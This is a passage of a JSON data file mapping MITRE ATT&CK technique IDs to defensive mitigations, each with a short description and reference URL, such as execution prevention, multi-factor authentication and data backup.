techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1054", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1108", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1193", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1215", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1101", "mitigations": [{"name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "url": "https://attack.mitre.org/mitigations/M1025"}]}, {"_id": "T1177", "mitigations": [{"name": "Restrict Library Loading", "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.", "url": "https://attack.mitre.org/mitigations/M1044"}, {"name": "Credential Access Protection", "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", "url": "https://attack.mitre.org/mitigations/M1043"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1125", "mitigations": [{"name": "Video Capture Mitigation", "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.", "url": ""}]}, {"_id": "T1144", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1045", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}]}, {"_id": "T1016", "mitigations": [{"name": "System Network Configuration Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1504", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1198", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1087", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1090", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1059", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1482", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1175", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1020", "mitigations": [{"name": "Automated Exfiltration Mitigation", "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1070", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1083", "mitigations": [{"name": "File and Directory Discovery Mitigation", "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1138", "mitigations": [{"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1191", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1188", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1074", "mitigations": [{"name": "Data Staged Mitigation", "description": "Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.", "url": ""}]}, {"_id": "T1049", "mitigations": [{"name": "System Network Connections Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1064", "mitigations": [{"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1051", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1497", "mitigations": [{"name": "Virtualization/Sandbox Evasion Mitigation", "description": "Mitigation of this technique with preventative controls may impact the adversary's decision process depending on what they're looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", "url": ""}]}, {"_id": "T1102", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}]}, {"_id": "T1104", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1480", "mitigations": [{"name": "Do Not Mitigate", "description": "This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.", "url": "https://attack.mitre.org/mitigations/M1055"}]}, {"_id": "T1528", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1204", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1196", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1057", "mitigations": [{"name": "Process Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1141", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1072", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}]}, {"_id": "T1041", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1060", "mitigations": [{"name": "Registry Run Keys / Startup Folder Mitigation", "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1023", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1026", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1122", "mitigations": [{"name": "Component Object Model Hijacking Mitigation", "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.", "url": ""}]}, {"_id": "T1015", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}]}, {"_id": "T1212", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1210", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "url": "https://attack.mitre.org/mitigations/M1016"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1502", "mitigations": []}, {"_id": "T1142", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1534", "mitigations": []}, {"_id": "T1169", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1199", "mitigations": [{"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1149", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1098", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1170", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1048", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1097", "mitigations": [{"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1061", "mitigations": [{"name": "Graphical User Interface Mitigation", "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.", "url": ""}]}, {"_id": "T1110", "mitigations": [{"name": "Account Use Policies", "description": "Configure features related to account use like login attempt lockouts, specific login times, etc.", "url": "https://attack.mitre.org/mitigations/M1036"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1157", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1001", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1039", "mitigations": [{"name": "Data from Network Shared Drive Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1078", "mitigations": [{"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Application Developer Guidance", "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.", "url": "https://attack.mitre.org/mitigations/M1013"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1073", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1068", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}]}, {"_id": "T1531", "mitigations": []}, {"_id": "T1208", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1027", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}]}, {"_id": "T1154", "mitigations": [{"name": "Trap Mitigation", "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", "url": ""}]}, {"_id": "T1201", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1187", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1486", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1488", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1174", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1002", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1081", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": 